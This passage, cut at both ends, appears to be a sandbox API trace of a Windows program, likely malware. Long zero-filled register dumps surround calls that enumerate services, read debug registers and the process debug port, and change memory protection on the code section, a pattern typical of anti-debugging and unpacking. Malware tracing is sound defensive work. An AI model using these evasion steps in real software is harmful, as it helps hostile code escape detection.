[45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0121.425] OpenSCManagerA (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5c7a98 [0121.445] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0121.451] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0121.451] EnumServicesStatusA (in: hSCManager=0x5c7a98, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x1ef000c, cbBufSize=0x3e800, pcbBytesNeeded=0x1ef0008, lpServicesReturned=0x1ef0004, lpResumeHandle=0x1ef0000 | out: lpServices=0x1ef000c*(lpServiceName=0x342d4136, lpDisplayName=0x2d373330, ServiceStatus.dwServiceType=0x37373737, ServiceStatus.dwCurrentState=0x3246352d, ServiceStatus.dwControlsAccepted=0x37383437, ServiceStatus.dwWin32ExitCode=0x31443436, ServiceStatus.dwServiceSpecificExitCode=0x7d30, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x1ef0008, lpServicesReturned=0x1ef0004, lpResumeHandle=0x1ef0000) returned 0 [0121.454] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0121.454] CloseServiceHandle (hSCObject=0x5c7a98) returned 1 [0121.522] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.527] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0121.531] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18fe80, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18fe80, ReturnLength=0x0) returned 0x0 [0121.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18fee8*=0x401000, NumberOfBytesToProtect=0x18fee4, NewAccessProtection=0x4, OldAccessProtection=0x18fe80 | out: BaseAddress=0x18fee8*=0x401000, NumberOfBytesToProtect=0x18fee4, OldAccessProtection=0x18fe80*=0x20) returned 0x0 [0121.637] 